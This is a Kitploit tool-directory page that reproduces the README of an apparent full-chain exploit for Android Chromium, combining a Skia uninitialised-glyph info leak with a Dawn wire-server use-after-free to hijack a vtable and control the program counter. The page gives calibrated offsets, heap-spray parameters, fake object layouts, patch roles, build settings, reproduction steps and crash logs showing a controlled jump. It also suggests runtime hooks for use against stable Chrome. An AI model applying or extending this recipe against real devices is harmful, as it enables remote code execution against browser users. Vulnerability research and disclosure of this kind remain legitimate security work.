Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5281-CVE-2026-11057-fullchain — Full-chain exploit for Android Chromium combining CVE-2026-11057 info leak and CVE-2026-5281 use-after-free to achieve vtable hijack and arbitrary code execution. | Kitploit
Tools/GitHubGitHub/jaf0rk/cve-2026-5281-cve-2026-11057-fullchain
Android SecurityExploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationMobile SecurityBinary Exploitation
GitHubjaf0rk/cve-2026-5281-cve-2026-11057-fullchain

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5281-CVE-2026-11057-fullchain

Full-chain exploit for Android Chromium combining CVE-2026-11057 info leak and CVE-2026-5281 use-after-free to achieve vtable hijack and arbitrary code execution.

View Repository
12 days agoNot yet reviewed

CVE-2026-5281+CVE-2026-11057 Android fullchain

Device

Pixel 7 Android 16 ARM64

Chromium version

root@kitploit:~
commit 994c846bbd7a35241ba7c08158c13d66412a6993 (HEAD -> 146.0.7680.111, tag: 146.0.7680.111)
Author: Roger McFarlane <[email protected]>
Date:   Mon Mar 9 12:48:07 2026 -0700

Description

Exploitation approach

This repository combines CVE-2026-11057 (Skia uninitialized glyph image memory) and CVE-2026-5281 (Dawn wire server DeviceInfo use-after-free) into a full chain. All modifications are renderer-side; the GPU-process code is unchanged:

  1. Info leak (CVE-2026-11057) — Trigger an uninitialized glyph image buffer via canvas text rendering, read back pointers from the GPU-process heap, validate them with arithmetic runs, derive the PartitionAlloc pool base, and compute the fake Server target M = POOL + 0x202A08000 (calibrated offset).

  2. CC spray — createBuffer(label="CCM:<m>:<n>") triggers injection of 3000 incomplete ChunkedCommands (10KB bucket, remainingSize=1, kept alive in the wire server's mChunkedCommands). The payload fills the region around M with a fake Server laid out for Android arm64: MutexProtected vptr at +0xB20, ChunkedCommandSerializer at +0xB50/+0xB58, fake CommandSerializer/vtable at +0xC00/+0xD00.

  3. 5281 trigger + occupy — queue.writeBuffer(buffer, 0x414141, ...) first calls Unregister(Device) to free the 16-byte DeviceInfo, then injects a 16-byte occupy ChunkedCommand to reclaim that slot and overwrite info->server with M, and finally triggers a validation error with an out-of-bounds offset.

  4. Dangling callback → vtable hijack — The uncaptured-error callback dereferences info->server = M (fake Server): the zeroed mutexes pass, execution reaches OnUncapturedError → SerializeCommand, and the relative-vtable indirect call hits our fake vtable, giving pc = fake_vtable + controlled int32 offset, demonstrated by pc = 0x7641414141.

Note: Android arm64 Chromium uses relative vtables (-fexperimental-relative-c++-abi-vtables); vtable entries are 32-bit relative offsets rather than absolute function pointers, so the PoC uses a controlled int32 offset as the marker at the vtable-hijack point.

On the test device, the full chain reaches the vtable-hijack crash with an almost 100% success rate; the leak stage may occasionally require several automatic reloads before it succeeds.

File roles

  • SkStrike.cpp.patch — CVE-2026-11057 leak trigger. FlattenGlyphsByType() rewrites the strike payload so the GPU process creates a SkGlyph with fImage == nullptr, eventually reading an uninitialized image buffer to leak heap pointers.
  • Device.cpp.patch — Dawn wire client CC spray. APICreateBuffer() parses the CCM: label, builds the Android arm64 fake Server payload, and injects N incomplete ChunkedCommands that stay alive in the GPU process.
  • ApiProcs.cpp.patch — CVE-2026-5281 trigger + occupy. On the QueueWriteBuffer magic offset 0x414141, it calls Unregister(Device) to free DeviceInfo, injects a 16-byte ChunkedCommand to reclaim the slot and set info->server = M, then proceeds with an out-of-bounds offset to fire the dangling callback.

Disclosure scope

This ExP is only disclosed up to the vtable hijack step (controlled indirect call target, pc = base+0x41414141). The steps from the controlled jump onward, as well as the RCE implementation, are kept confidential and are not included in this repository.

Build args.gn

root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 0
v8_symbol_level = 0
blink_symbol_level = 0
is_component_build = false  
proprietary_codecs = true   
ffmpeg_branding = "Chrome"  
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"

# Disable PartitionAllocEventuallyZeroFreedMemory
disable_fieldtrial_testing_config = true

treat_warnings_as_errors = false

Reproduction

  1. cd third_party/dawn
  2. git apply ApiProcs.cpp.patch
  3. git apply Device.cpp.patch
  4. cd ../skia
  5. git apply SkStrike.cpp.patch
  6. Build chromium
  7. Open Chrome on an Android device and execute exploit.html
  8. Execute adb logcat | grep DEBUG on PC

Note

  1. Be careful with the PartitionAllocEventuallyZeroFreedMemory pitfall. When enabled, it eventually zeroes out freed memory. This feature is disabled by default. On official Stable builds it is controlled by Google’s Finch (server-side field trial) and Google generally does not turn it on for the general population. However, it is frequently enabled in local / unofficial builds and official Dev/Canary channels (especially when field-trial testing configs are active). This is a common gotcha when developing or testing exploits against non-Stable builds.
  2. Access exploit.html via the 127.0.0.1 loopback address. Otherwise HTTP will be treated as untrusted and WebGPU will not work

Crash stack

Current exploit stack:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-11 20:51:46.100 11269 11269 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-11 20:51:46.100 11269 11269 F DEBUG   : Build fingerprint: '[REDACTED]'
06-11 20:51:46.100 11269 11269 F DEBUG   : Revision: 'MP1.0'
06-11 20:51:46.100 11269 11269 F DEBUG   : ABI: 'arm64'
06-11 20:51:46.100 11269 11269 F DEBUG   : Timestamp: 2025-06-11 20:51:45.949325765+0800
06-11 20:51:46.100 11269 11269 F DEBUG   : Process uptime: 3s
06-11 20:51:46.100 11269 11269 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process0
06-11 20:51:46.100 11269 11269 F DEBUG   : pid: 11188, tid: 11211, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
06-11 20:51:46.100 11269 11269 F DEBUG   : uid: 10309
06-11 20:51:46.100 11269 11269 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-11 20:51:46.100 11269 11269 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0000007641414141
06-11 20:51:46.100 11269 11269 F DEBUG   :     x0  0000007602a08b20  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000f5c40
06-11 20:51:46.100 11269 11269 F DEBUG   :     x4  00000000000000b1  x5  000000760148b520  x6  0000000001414d4c  x7  0000007e7db19004
06-11 20:51:46.100 11269 11269 F DEBUG   :     x8  0000007b272cd790  x9  0000007641414141  x10 0000000000000000  x11 0000000000000001
06-11 20:51:46.100 11269 11269 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x16 0000007b230ada10  x17 0000007e66d55520  x18 0000007b25fd8000  x19 0000007602a08000
06-11 20:51:46.100 11269 11269 F DEBUG   :     x20 00000000000000b1  x21 00000076000f5c40  x22 0000000000000002  x23 0000007b272cd808
06-11 20:51:46.100 11269 11269 F DEBUG   :     x24 0000007602a08000  x25 0000007b230e7000  x26 0000007b1897c2c6  x27 0000000000000006
06-11 20:51:46.100 11269 11269 F DEBUG   :     x28 0000007b22fa7728  x29 0000007b272cd7c0
06-11 20:51:46.100 11269 11269 F DEBUG   :     lr  0000007b20309184  sp  0000007b272cd770  pc  0000007641414141  pst 0000000060001000
06-11 20:51:46.100 11269 11269 F DEBUG   : 36 total frames
06-11 20:51:46.100 11269 11269 F DEBUG   : backtrace:
06-11 20:51:46.100 11269 11269 F DEBUG   :       #00 pc 000000003dd8c141  [anon:partition_alloc]
06-11 20:51:46.100 11269 11269 F DEBUG   :       #01 pc 00000000084ac180  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #02 pc 00000000084ab1fc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #03 pc 0000000002a1988c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #04 pc 0000000002a36b4c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #05 pc 00000000029de990  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #06 pc 00000000084ae164  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #07 pc 00000000084956b8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #08 pc 0000000008dd61f0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #09 pc 0000000008dd6300  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #10 pc 0000000008dd3dd0  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #11 pc 00000000065fe184  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #12 pc 00000000065fd1dc  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #13 pc 00000000065faf6c  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #14 pc 00000000065fac54  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #15 pc 0000000005a63054  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #16 pc 00000000065ff294  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #17 pc 000000000547e288  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #18 pc 00000000058de7ec  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #19 pc 0000000005d66b70  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #20 pc 000000000633da58  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #21 pc 00000000063431e8  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #22 pc 0000000007a2eb60  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #23 pc 0000000007a2e730  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #24 pc 0000000007a2dd14  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #25 pc 0000000007a2da24  /data/app/.../lib/arm64/libchrome.so
06-11 20:51:46.100 11269 11269 F DEBUG   :       #26 pc 000000000033f500  /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #27 pc 0000000000689588  /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #28 pc 00000000002890ec  /data/app/.../base.apk (offset 0x1ec6000) (qf1.run+560)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #29 pc 00000000000a94f0  /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #30 pc 0000000000328194  /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #31 pc 00000000002d9348  /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #32 pc 0000000000421028  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #33 pc 0000000000420c74  /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #34 pc 0000000000080e6c  /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
06-11 20:51:46.100 11269 11269 F DEBUG   :       #35 pc 00000000000736d0  /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)

Full exploit stack（Jump to an arbitrary 64-bit address）:

root@kitploit:~
~$ adb logcat | grep DEBUG
06-12 01:02:33.858 17983 17983 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-12 01:02:33.858 17983 17983 F DEBUG   : Build fingerprint: 'google/panther/panther:16/.../release-keys'
06-12 01:02:33.858 17983 17983 F DEBUG   : Revision: 'MP1.0'
06-12 01:02:33.858 17983 17983 F DEBUG   : ABI: 'arm64'
06-12 01:02:33.858 17983 17983 F DEBUG   : Timestamp: 2025-06-12 01:02:33.719427351+0800
06-12 01:02:33.858 17983 17983 F DEBUG   : Process uptime: 151s
06-12 01:02:33.858 17983 17983 F DEBUG   : Cmdline: org.chromium.chrome:privileged_process2
06-12 01:02:33.858 17983 17983 F DEBUG   : pid: 17875, tid: 17891, name: CrGpuMain  >>> org.chromium.chrome:privileged_process2 <<<
06-12 01:02:33.858 17983 17983 F DEBUG   : uid: 10309
06-12 01:02:33.858 17983 17983 F DEBUG   : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
06-12 01:02:33.858 17983 17983 F DEBUG   : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
06-12 01:02:33.858 17983 17983 F DEBUG   :     x0  0000007602a08b68  x1  0000007b272cd808  x2  0000000000000002  x3  00000076000c9f40
06-12 01:02:33.858 17983 17983 F DEBUG   :     x4  00000000000000b1  x5  0000007600024c40  x6  0000000001414d4c  x7  0000007e7db19004
06-12 01:02:33.858 17983 17983 F DEBUG   :     x8  4141414141414141  x9  0000007b76d934a0  x10 0000000000000000  x11 0000000000000001
06-12 01:02:33.858 17983 17983 F DEBUG   :     x12 0000000000000000  x13 0000000000000002  x14 0000007e7d733040  x15 0000000000000000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x16 0000007b24f19ab0  x17 0000007e66d55520  x18 0000007b266dc000  x19 0000007602a08000
06-12 01:02:33.858 17983 17983 F DEBUG   :     x20 00000000000000b1  x21 00000076000c9f40  x22 0000000000000002  x23 0000007b272cd808
06-12 01:02:33.858 17983 17983 F DEBUG   :     x24 0000007602a08000  x25 0000007b24f53000  x26 0000007b1a7e82c6  x27 0000000000000006
06-12 01:02:33.858 17983 17983 F DEBUG   :     x28 0000007b24e137c8  x29 0000007b272cd7c0
06-12 01:02:33.858 17983 17983 F DEBUG   :     lr  0000007b76d934b0  sp  0000007b272cd770  pc  0041414141414141  pst 0000000060001000
06-12 01:02:33.858 17983 17983 F DEBUG   : 3 total frames
06-12 01:02:33.858 17983 17983 F DEBUG   : backtrace:
06-12 01:02:33.858 17983 17983 F DEBUG   :       #00 pc 0041414141414141  <unknown>
06-12 01:02:33.858 17983 17983 F DEBUG   :       #01 pc 0000000000b0f4ac  /.....
06-12 01:02:33.858 17983 17983 F DEBUG   :       #02 pc 00000000001cdffc  [anon:partition_alloc]

In Chrome stable

In the stable version of Chromium, directly applying patches may not be feasible or desirable. So, you can rewrite the patch logic as hook functions to intercept and modify the relevant processing functions at runtime.

Download Tool
  • exploit.html — Page orchestration: leak primitive (groom/draw/readCell/verifyRuns/derivePoolBase), CC spray, and a standalone exploit5281() trigger; on failure it cleans up the spray state and reloads so stages do not interfere.